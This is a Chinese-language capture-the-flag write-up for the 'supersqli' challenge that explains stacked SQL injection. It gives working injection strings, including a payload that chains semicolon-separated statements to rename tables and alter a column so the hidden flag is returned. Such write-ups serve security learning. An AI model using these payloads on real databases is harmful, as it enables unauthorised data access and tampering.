supersqli

0x01 堆叠注入

1、定义与说明

  • 在sql中,分号(;)表示一条sql语句的结束。在;结束之后继续构造下一条语句,会一起执行,因此为堆叠注入。
  • union联合查询是将两条语句合并之后进行查询,union执行的语句有限。
  • 堆叠注入可以执行任意的语句

2、查询语句
查询数据库:

  • show databases

查询表:

  • show tables

显示表中列的信息:

  • show columns from table_name
  • desc table_name
  • select * from information_schema.columns where table_schema="" and table_name=""

更改表的名字:

  • rename table table_name1 to newtable_name1 [, table_name2 to newtable_name2]
  • alter table table_name to newtable_name

更改字段的名字:

  • alter table table_name change name column_name varchar(20) not null

0x02

1、存在sql注入

GET,字符型,单引号

?inject=1' order by 2--+

select等一些语句被过滤

2、堆叠注入

?inject=1';show databases;--+

保证前面的语句闭合,执行后面的语句

得到了数据表

查看表的结构
只能查看words表,不能查看另一个表

重命名表
将words默认表重命名为word1,将数字表重命名为words
在words表插入一列,id,flag
那么我们查询id为1,得出flag

?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);--+

参考链接:
https://www.cnblogs.com/0nth3way/articles/7128189.html
https://www.cnblogs.com/dedragon/p/12728498.html
https://blog.csdn.net/qq_26406447/article/details/90643951

原文地址:https://www.cnblogs.com/observering/p/12839223.html